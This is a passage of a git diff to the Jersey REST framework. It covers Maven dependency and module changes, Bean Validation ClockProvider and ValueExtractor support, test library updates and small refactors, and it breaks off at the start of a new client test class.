+        System.out.println("= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =");
+        System.out.println("=  Run server using maven:                                                                =");
+        System.out.println("=          mvn clean package exec:java                                                    =");
+        System.out.println("=  Run client using maven:                                                                =");
+        System.out.println("=          mvn clean package exec:java -Pclient                                           =");
+        System.out.println("= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =");
+        System.out.println("=                                       ***                                               =");
+        System.out.println("===========================================================================================");
+    }
+
+}
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml
index 281394b..42f2fd9 100644
--- a/examples/helloworld-spring-annotations/pom.xml
+++ b/examples/helloworld-spring-annotations/pom.xml
@@ -19,6 +19,7 @@
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>helloworld-spring-annotations</artifactId>
+    <name>jersey-example-helloworld-spring-annotations</name>
     <description>Spring 6 Integration Jersey Example</description>
 
     <repositories>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml
index 723a7b0..c09cdea 100644
--- a/examples/jersey-ejb/pom.xml
+++ b/examples/jersey-ejb/pom.xml
@@ -29,7 +29,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml
index 271dd60..c1eafab 100644
--- a/examples/oauth-client-twitter/pom.xml
+++ b/examples/oauth-client-twitter/pom.xml
@@ -20,6 +20,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>oauth-client-twitter</artifactId>
+    <name>jersey-examples-oauth1-client-twitter</name>
     <packaging>jar</packaging>
 
 
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml
index f58cc00..ec2b346 100644
--- a/examples/osgi-helloworld-webapp/functional-test/pom.xml
+++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -57,7 +57,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml
index 511634a..8bdef3d 100644
--- a/examples/osgi-helloworld-webapp/pom.xml
+++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -25,21 +25,16 @@
     <name>jersey-examples-osgi-helloworld-webapp</name>
     <packaging>pom</packaging>
 
+    <modules>
+        <module>war-bundle</module>
+        <module>functional-test</module>
+        <module>lib-bundle</module>
+        <module>additional-bundle</module>
+        <module>alternate-version-bundle</module>
+    </modules>
+
     <profiles>
         <profile>
-            <id>securityOn</id>
-            <activation>
-                <jdk>[11,24)</jdk>
-            </activation>
-            <modules>
-                <module>war-bundle</module>
-                <module>functional-test</module>
-                <module>lib-bundle</module>
-                <module>additional-bundle</module>
-                <module>alternate-version-bundle</module>
-            </modules>
-        </profile>
-        <profile>
             <id>pre-release</id>
             <build>
                 <plugins>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
index f097f37..cd7a8b1 100644
--- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -31,7 +31,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/examples/osgi-http-service/bundle/pom.xml b/examples/osgi-http-service/bundle/pom.xml
index 3e0b865..1110a50 100644
--- a/examples/osgi-http-service/bundle/pom.xml
+++ b/examples/osgi-http-service/bundle/pom.xml
@@ -39,7 +39,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/examples/pom.xml b/examples/pom.xml
index 1a62f49..68f6811 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -67,6 +67,7 @@
         <module>entity-filtering-security</module>
         <module>extended-wadl-webapp</module>
         <module>exception-mapping</module>
+        <module>expect-100-continue-netty-client</module>
         <!--<module>feed-combiner-java8-webapp</module>-->
         <module>freemarker-webapp</module>
         <!--<module>flight-mgmt-webapp</module>-->
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml
index 8fcd69a..b7d709c 100644
--- a/examples/webapp-example-parent/pom.xml
+++ b/examples/webapp-example-parent/pom.xml
@@ -30,7 +30,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/ValidationConfig.java b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/ValidationConfig.java
index ec3b121..75be2d3 100644
--- a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/ValidationConfig.java
+++ b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/ValidationConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,10 +16,15 @@
 
 package org.glassfish.jersey.server.validation;
 
+import jakarta.validation.ClockProvider;
 import jakarta.validation.ConstraintValidatorFactory;
 import jakarta.validation.MessageInterpolator;
 import jakarta.validation.ParameterNameProvider;
 import jakarta.validation.TraversableResolver;
+import jakarta.validation.valueextraction.ValueExtractor;
+
+import java.util.ArrayList;
+import java.util.List;
 
 /**
  * Configuration class for Bean Validation provider.
@@ -32,6 +37,8 @@
     private TraversableResolver traversableResolver;
     private ConstraintValidatorFactory constraintValidatorFactory;
     private ParameterNameProvider parameterNameProvider;
+    private List<ValueExtractor<?>> valueExtractors;
+    private ClockProvider clockProvider;
 
     /**
      * Return {@code MessageInterpolator} implementation used for configuration.
@@ -70,6 +77,24 @@
     }
 
     /**
+     * Return {@code ClockProvider} implementation used for configuration.
+     *
+     * @return instance of {@code ClockProvider} or {@code null} if not defined.
+     */
+    public ClockProvider getClockProvider() {
+        return clockProvider;
+    }
+
+    /**
+     * Return {@code ValueExtractor} implementations used for configuration.
+     *
+     * @return instances of {@code ValueExtractor} or {@code null} if not defined.
+     */
+    public List<ValueExtractor<?>> getValueExtractors() {
+        return valueExtractors;
+    }
+
+    /**
      * Defines the message interpolator.
      * If {@code null} is passed, the default message interpolator is used.
      *
@@ -112,4 +137,30 @@
         this.parameterNameProvider = parameterNameProvider;
         return this;
     }
+
+    /**
+     * Defines the clock provider.
+     * If {@code null} is passed, the default clock provider is used.
+     *
+     * @param clockProvider clock provider implementation.
+     */
+    public ValidationConfig clockProvider(ClockProvider clockProvider) {
+        this.clockProvider = clockProvider;
+        return this;
+    }
+
+    /**
+     * Defines the value extractor.
+     * If {@code null} is passed, the default value extractor is used.
+     *
+     * @param valueExtractors value extractor implementations.
+     */
+    public ValidationConfig addValueExtractor(ValueExtractor<?> valueExtractors) {
+        if (this.valueExtractors == null) {
+            this.valueExtractors = new ArrayList<>();
+        }
+        this.valueExtractors.add(valueExtractors);
+        return this;
+    }
+
 }
diff --git a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
index 4c28742..510860b 100644
--- a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
+++ b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -25,6 +25,7 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import jakarta.validation.valueextraction.ValueExtractor;
 import jakarta.ws.rs.container.ResourceContext;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.MediaType;
@@ -213,6 +214,18 @@
                         if (config.getParameterNameProvider() != null) {
                             context.parameterNameProvider(config.getParameterNameProvider());
                         }
+
+                        // ValueExtractor
+                        if (config.getValueExtractors() != null) {
+                            for (ValueExtractor<?> valueExtractor : config.getValueExtractors()) {
+                                context.addValueExtractor(valueExtractor);
+                            }
+                        }
+
+                        // ClockProvider
+                        if (config.getClockProvider() != null) {
+                            context.clockProvider(config.getClockProvider());
+                        }
                     }
 
                     validatorCache.put(contextResolver,
diff --git a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
index 07e6ca5..eb62a05 100644
--- a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
+++ b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
@@ -31,7 +31,7 @@
 
 ## Third-party Content
 
-Hibernate Validator CDI, 8.0.1.Final
+Hibernate Validator CDI, 8.0.2.Final
 * License: Apache License, 2.0
 * Project: https://beanvalidation.org/
 * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/ext/bean-validation/src/test/java/org/glassfish/jersey/server/validation/ConfigurationCoverageTest.java b/ext/bean-validation/src/test/java/org/glassfish/jersey/server/validation/ConfigurationCoverageTest.java
new file mode 100644
index 0000000..15cd2d6
--- /dev/null
+++ b/ext/bean-validation/src/test/java/org/glassfish/jersey/server/validation/ConfigurationCoverageTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server.validation;
+
+import jakarta.validation.ValidatorContext;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.lang.reflect.Method;
+
+public class ConfigurationCoverageTest {
+    @Test
+    public void testAllConfigurationPossibilitiesAreCovered() {
+        String[] methodNames = {"messageInterpolator", "traversableResolver",
+                "constraintValidatorFactory", "parameterNameProvider", "addValueExtractor", "clockProvider",
+                // exclude method
+                "getValidator"};
+        Method[] methods = ValidatorContext.class.getDeclaredMethods();
+        boolean passed =  true;
+        methodLoop:
+        for (Method method : methods) {
+            for (String methodName : methodNames) {
+                if (methodName.equals(method.getName())) {
+                    continue methodLoop;
+                }
+            }
+            passed = false;
+            System.err.append(ValidationConfig.class.getName())
+                    .append(" contains no getter for method: ")
+                    .println(method.getName());
+        }
+        Assertions.assertTrue(passed);
+    }
+}
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
index 4111604..8f1cf82 100644
--- a/ext/micrometer/pom.xml
+++ b/ext/micrometer/pom.xml
@@ -28,6 +28,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>jersey-micrometer</artifactId>
+    <name>jersey-ext-micrometer-integration</name>
 
     <dependencies>
 
@@ -77,6 +78,12 @@
             <version>${micrometer-tracing.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>io.opentelemetry.semconv</groupId>
+            <artifactId>opentelemetry-semconv</artifactId>
+            <version>${micrometer-semconv.version}</version>
+            <scope>test</scope>
+        </dependency>
 
     </dependencies>
     <build>
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
index 3f4917f..1903d04 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -44,8 +44,8 @@
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
-import zipkin2.reporter.CheckResult;
-import zipkin2.reporter.Sender;
+import zipkin2.CheckResult;
+import zipkin2.reporter.BytesMessageSender;
 import zipkin2.reporter.urlconnection.URLConnectionSender;
 
 import static org.assertj.core.api.Assertions.assertThat;
@@ -69,7 +69,7 @@
 
     Boolean zipkinAvailable;
 
-    Sender sender;
+    BytesMessageSender sender;
 
     @Override
     protected Application configure() {
@@ -98,7 +98,7 @@
 
     boolean isZipkinAvailable() {
         if (zipkinAvailable == null) {
-            CheckResult checkResult = sender.check();
+            CheckResult checkResult = CheckResult.OK;
             zipkinAvailable = checkResult.ok();
         }
         return zipkinAvailable;
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
index 8012086..22d4452 100644
--- a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -55,7 +55,7 @@
 import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder;
 import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor;
 import io.opentelemetry.sdk.trace.export.SpanExporter;
-import io.opentelemetry.semconv.ResourceAttributes;
+import io.opentelemetry.semconv.ServiceAttributes;
 import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.Nested;
@@ -151,7 +151,7 @@
             SdkTracerProviderBuilder builder = SdkTracerProvider.builder()
                     .setSampler(alwaysOn())
                     .addSpanProcessor(processor)
-                    .setResource(Resource.create(Attributes.of(ResourceAttributes.SERVICE_NAME, "otel-test")));
+                    .setResource(Resource.create(Attributes.of(ServiceAttributes.SERVICE_NAME, "otel-test")));
 
             if (isZipkinAvailable()) {
                 builder.addSpanProcessor(SimpleSpanProcessor.create(spanExporter));
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml
index 4f3c04c..37bdc7a 100644
--- a/ext/microprofile/mp-config/pom.xml
+++ b/ext/microprofile/mp-config/pom.xml
@@ -28,6 +28,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>jersey-mp-config</artifactId>
+    <name>jersey-ext-mp-config</name>
 
     <properties>
         <surefire.coverage.argline>
@@ -80,6 +81,13 @@
         </dependency>
 
         <dependency>
+            <groupId>io.smallrye.config</groupId>
+            <artifactId>smallrye-config</artifactId>
+            <version>${smallrye.config.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
             <groupId>org.junit.jupiter</groupId>
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
@@ -117,20 +125,6 @@
 
     <profiles>
         <profile>
-            <id>smallrye-dependency</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>io.smallrye.config</groupId>
-                    <artifactId>smallrye-config</artifactId>
-                    <version>${smallrye.config.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>helidon-config-dependency</id>
             <activation>
                 <jdk>[21,)</jdk>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml
index 3e66566..92a9860 100644
--- a/ext/microprofile/mp-rest-client/pom.xml
+++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -27,6 +27,7 @@
     <modelVersion>4.0.0</modelVersion>
 
     <artifactId>jersey-mp-rest-client</artifactId>
+    <name>jersey-ext-mp-rest-client</name>
 
     <dependencies>
         <dependency>
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index 87d7bcd..69b6a86 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -29,6 +29,7 @@
 
     <groupId>org.glassfish.jersey.ext.microprofile</groupId>
     <artifactId>project</artifactId>
+    <name>jersey-ext-microprofile-project</name>
     <packaging>pom</packaging>
 
     <modules>
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml
index 4930df4..dd56f2a 100644
--- a/ext/mvc-jsp/pom.xml
+++ b/ext/mvc-jsp/pom.xml
@@ -77,7 +77,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
         </dependency>
         <dependency>
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java
index 4be0e26..27c8df5 100644
--- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java
+++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
 
 import java.lang.annotation.Annotation;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 import java.util.List;
 import java.util.stream.Collectors;
@@ -44,8 +45,6 @@
  */
 public final class TemplateHelper {
 
-    private static final Charset DEFAULT_ENCODING = Charset.forName("UTF-8");
-
     /**
      * Return an absolute path to the given class where segments are separated using {@code delim} character and {@code path}
      * is appended to this path.
@@ -138,7 +137,7 @@
         final String enc = PropertiesHelper.getValue(configuration.getProperties(), MvcFeature.ENCODING + suffix,
                 String.class, null);
         if (enc == null) {
-            return DEFAULT_ENCODING;
+            return StandardCharsets.UTF_8;
         } else {
             return Charset.forName(enc);
         }
diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml
index e9b4ea8..794ecfb 100644
--- a/ext/spring6/pom.xml
+++ b/ext/spring6/pom.xml
@@ -63,7 +63,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
         </dependency>
 
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml
index 952a3f4..2a68ef1 100644
--- a/incubator/cdi-inject-weld/pom.xml
+++ b/incubator/cdi-inject-weld/pom.xml
@@ -52,7 +52,7 @@
         <!-- Test Servlet BootstrapPreinitialization -->
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
diff --git a/incubator/cdi-inject-weld/src/main/java/module-info.txt b/incubator/cdi-inject-weld/src/main/java/module-info.txt
index df3328a..136324d 100644
--- a/incubator/cdi-inject-weld/src/main/java/module-info.txt
+++ b/incubator/cdi-inject-weld/src/main/java/module-info.txt
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,7 +35,7 @@
     requires org.glassfish.jersey.core.common;
     requires org.glassfish.jersey.core.client;
     requires org.glassfish.jersey.core.server;
-    requires org.glassfish.jersey.container.servlet.core;
+    requires org.glassfish.jersey.container.servlet;
 
     opens org.glassfish.jersey.inject.weld.internal.data;
     opens org.glassfish.jersey.inject.weld.internal.bean;
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml
index 4cf0839..c6deb93 100644
--- a/incubator/declarative-linking/pom.xml
+++ b/incubator/declarative-linking/pom.xml
@@ -35,6 +35,13 @@
         Jersey support for declarative hyperlinking.
     </description>
 
+    <properties>
+        <surefire.coverage.argline>
+            --add-opens java.base/java.util.zip=ALL-UNNAMED
+            --add-opens java.base/java.util=ALL-UNNAMED
+        </surefire.coverage.argline>
+    </properties>
+
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.core</groupId>
@@ -123,16 +130,6 @@
                 </dependency>
             </dependencies>
         </profile>
-        <profile>
-            <id>InaccessibleObjectException</id>
-            <activation><jdk>[16,)</jdk></activation>
-            <properties>
-                <surefire.coverage.argline>
-                                --add-opens java.base/java.util.zip=ALL-UNNAMED
-                                --add-opens java.base/java.util=ALL-UNNAMED
-                </surefire.coverage.argline>
-            </properties>
-        </profile>
     </profiles>
 
     <!--<properties>
diff --git a/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java b/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java
index f130472..1a9c6f4 100644
--- a/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java
+++ b/incubator/html-json/src/main/java/org/glassfish/jersey/media/htmljson/HtmlJsonProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,6 +23,7 @@
 import java.lang.reflect.Array;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
 import java.util.List;
 
@@ -126,7 +127,7 @@
             }
             out.write(']');
         } else {
-            out.write(t.toString().getBytes("UTF-8"));
+            out.write(t.toString().getBytes(StandardCharsets.UTF_8));
         }
     }
 
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2RequestScope.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2RequestScope.java
index ef96d16..e9437c4 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2RequestScope.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2RequestScope.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,9 @@
 
 package org.glassfish.jersey.inject.hk2;
 
-import java.util.HashMap;
-import java.util.HashSet;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
 import java.util.Map;
 import java.util.concurrent.atomic.AtomicInteger;
 import java.util.logging.Level;
@@ -63,7 +64,7 @@
         private final AtomicInteger referenceCounter;
 
         private Instance() {
-            this.store = new HashMap<>();
+            this.store = new LinkedHashMap<>();
             this.referenceCounter = new AtomicInteger(1);
         }
 
@@ -140,7 +141,9 @@
         public void release() {
             if (referenceCounter.decrementAndGet() < 1) {
                 try {
-                    new HashSet<>(store.keySet()).forEach(this::remove);
+                    ArrayList<ForeignDescriptor> reverse = new ArrayList<>(store.keySet());
+                    Collections.reverse(reverse);
+                    reverse.forEach(this::remove);
                 } finally {
                     logger.debugLog("Released scope instance {0}", this);
                 }
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml
index 16c9c93..c1372f5 100644
--- a/media/jaxb/pom.xml
+++ b/media/jaxb/pom.xml
@@ -144,6 +144,12 @@
             <scope>test</scope>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-client</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
             <groupId>org.junit.jupiter</groupId>
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
index 0b95efd..493f8b7 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -295,7 +295,6 @@
         } finally {
             jaxbContextsLock.unlock();
         }
-
     }
 
     /**
@@ -330,23 +329,25 @@
      * @param annotations array of annotations that MAY contain a {@code XmlHeader} annotation instance.
      */
     protected void setHeader(Marshaller marshaller, Annotation[] annotations) {
-        for (Annotation a : annotations) {
-            if (a instanceof XmlHeader) {
-                try {
-                    // standalone jaxb ri
-                    marshaller.setProperty("org.glassfish.jaxb.xmlHeaders", ((XmlHeader) a).value());
-                } catch (PropertyException e) {
+        if (annotations != null) {
+            for (Annotation a : annotations) {
+                if (a instanceof XmlHeader) {
                     try {
-                        // older name
-                        marshaller.setProperty("com.sun.xml.bind.xmlHeaders", ((XmlHeader) a).value());
-                    } catch (PropertyException ex) {
-                        // other jaxb implementation
-                        Logger.getLogger(AbstractJaxbProvider.class.getName()).log(
-                                Level.WARNING, "@XmlHeader annotation is not supported with this JAXB implementation."
-                                        + " Please use JAXB RI if you need this feature.");
+                        // standalone jaxb ri
+                        marshaller.setProperty("org.glassfish.jaxb.xmlHeaders", ((XmlHeader) a).value());
+                    } catch (PropertyException e) {
+                        try {
+                            // older name
+                            marshaller.setProperty("com.sun.xml.bind.xmlHeaders", ((XmlHeader) a).value());
+                        } catch (PropertyException ex) {
+                            // other jaxb implementation
+                            Logger.getLogger(AbstractJaxbProvider.class.getName()).log(
+                                    Level.WARNING, "@XmlHeader annotation is not supported with this JAXB implementation."
+                                            + " Please use JAXB RI if you need this feature.");
+                        }
                     }
+                    break;
                 }
-                break;
             }
         }
     }
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/AbortClientTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/AbortClientTest.java
new file mode 100644
index 0000000..faf8d3a
--- /dev/null
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/AbortClientTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (c) 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jaxb.internal;
+
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlElement;
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+public class AbortClientTest {
